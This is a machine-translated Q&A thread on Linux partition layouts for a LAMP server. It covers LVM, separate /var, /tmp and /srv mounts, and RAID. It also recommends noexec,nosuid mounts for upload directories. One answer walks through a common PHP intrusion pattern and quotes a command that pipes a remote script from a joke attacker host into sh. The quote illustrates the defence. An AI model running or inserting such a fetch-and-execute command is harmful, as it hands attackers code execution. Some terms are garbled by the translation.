build议的LAMP服务器的Linux分区布局?

我需要一些关于LAMP服务器的分区布局的最佳方法的build议,那就是LINUX + APACHE + PHP + MYSQL。

我build议使用你的操作系统的默认布局,除非你有一些特殊的考虑,例如大量的数据,非常高的使用率,可能的大幅增长。

您可以随时扩展…例如,我们经常有:/ tmp / boot /如果mysql由于磁盘IO而陷入困境,我们可以在/ var / lib / mysql中添加另一个磁盘或SAN挂载

如果你的文档根目录是/ var / www,那么你总是可以挂载更多的磁盘资源。

有些人会吹捧使用更细粒度系统的性能优势,但是我经常发现,这些声明在现实世界的应用程序中并不起作用,或者由于系统不是磁盘IO限制而影响很小。

如果没有其他事情 *与Metallica *一起唱歌,你至less应该注意,你有一个单独的挂载PHP上传/临时文件,并为您的网站挂载nosuid,noexec标志。 这阻止了大约99%的脚本小孩攻击。

为什么?

因为几乎所有的人都似乎使用模式

1)find一些PHP脚本的弱点,比如通过一些URLparameter passing任意代码。

2.1)上传一个包含C代码或shell脚本的文件,从你网站上的一些漂亮的网页表单上下载。

要么

2.2)让你的web服务器通过诸如`system(“curl http://icanhazyourcheezburger.com/ipwnj00.sh | sh”)之类的URL参数下载并执行一些讨厌的代码。 其中一些指示您的服务器首先获取C源代码并使用gcc进行编译,因此从Apache用户禁用gcc也是一个好主意。

3)看你如何有一个很好的后门安装在你的服务器。

那么,在这种情况下noexec,nosuid怎么样? 没有代码将被执行。 是的,可以被忽略,但是越来越难了,无论如何安全是由层,这个noexec,nosuid的东西只是其中之一。

我通常做以下(使用Debian):

我把所有的东西都放进了LVM(这个和Grub2一起工作)。

  • / boot 1GB(救援/安装光盘镜像的空间或其他棘手的问题,如果你谨慎的话可以closuresLVM)。
  • / 5-10 GB,也许20GB,如果我需要Matlab或其他/ opt中的其他东西
  • /家庭规模取决于服务器(什么样的用户?多less?多less数据?)
  • / var的大小取决于服务器(主要是日志文件)
  • / SRV和再次大小取决于,但这是我会把docroot(/ SRV / WWW)

具体而言,我不会填满整个VG,因为这会给我提供更多的空间,随着需求的变化而变化。 越来越多的文件系统可以使用LVM在线完成。

一些服务器pipe理员疯狂地对系统进行分区的原因是,如果有人用file upload攻击(在5.2.X之前的某个版本的PHP中存在一个很大的上传攻击漏洞)或者日志文件攻击来指定服务器,那么系统不会当/ var / log或/ tmp填满时,文件空间不足并崩溃。 对于硬盘尺寸来说,这不是一个大问题,但是随之而来的是更小的分区性能提升。

我读过一些现代驱动器在驱动器中间和结束时性能最好的地方,但是运行自己的testing,因为硬件总是不同的。 有一些像swap或/ tmp这样的东西,可能会给你一个有价值的提升,谁知道呢。 然后再如同其他人所说的那样,您可以随时抛出更多的磁盘或SAN。

请参阅http://novosial.org/kickstart/#s3

它表明,至less有单独的引导,交换和混合操作系统软件和用户分区 – 因为它没有空间和时间有效的多个小分区。 但是,对于关键服务器,将不受信任的用户从关键文件系统区域隔离开来。 这包括用户主目录和临时目录。 它还build议使用nosuid或其他选项安装用户区域,以防止不可信的代码执行。

这取决于您的专业水平,从服务器负载,预算。 也就是说,如果你是初学者,服务器不需要回复真正的查询,那么单个分区也可以完成这个工作,可能是两个,一个是/ var,因为日志文件可以快速填充文件系统,如果它是根,那么服务器可以停止工作。

如果服务器必须支持大负载,那么可以做更多的分区,因为如果对同一磁盘上的不同分区没有太多的并发访问,那么less量分区的访问时间就会比较大。 如果你有更多的预算(如果今天磁盘安静便宜的话),做一个好的主意是做RAID,至less有1或者更好的10(有一个可靠性和性能增益),但是在第一种情况下,你必须使用至less2个磁盘,第二个磁盘至less4个。然后,您将使用可resize的文件系统和LVM来获取相同的目标(分区和文件系统大小调整)。 在这种情况下,你可以使用/,/ boot,/ var,/ var / log,/ home,/ tmp,/ usr和/ usr / local,/ opt。 我读到最近的内核交换分区没有交换文件的最差performance,所以你可以有一个交换分区,但也没有。

也许 ;-)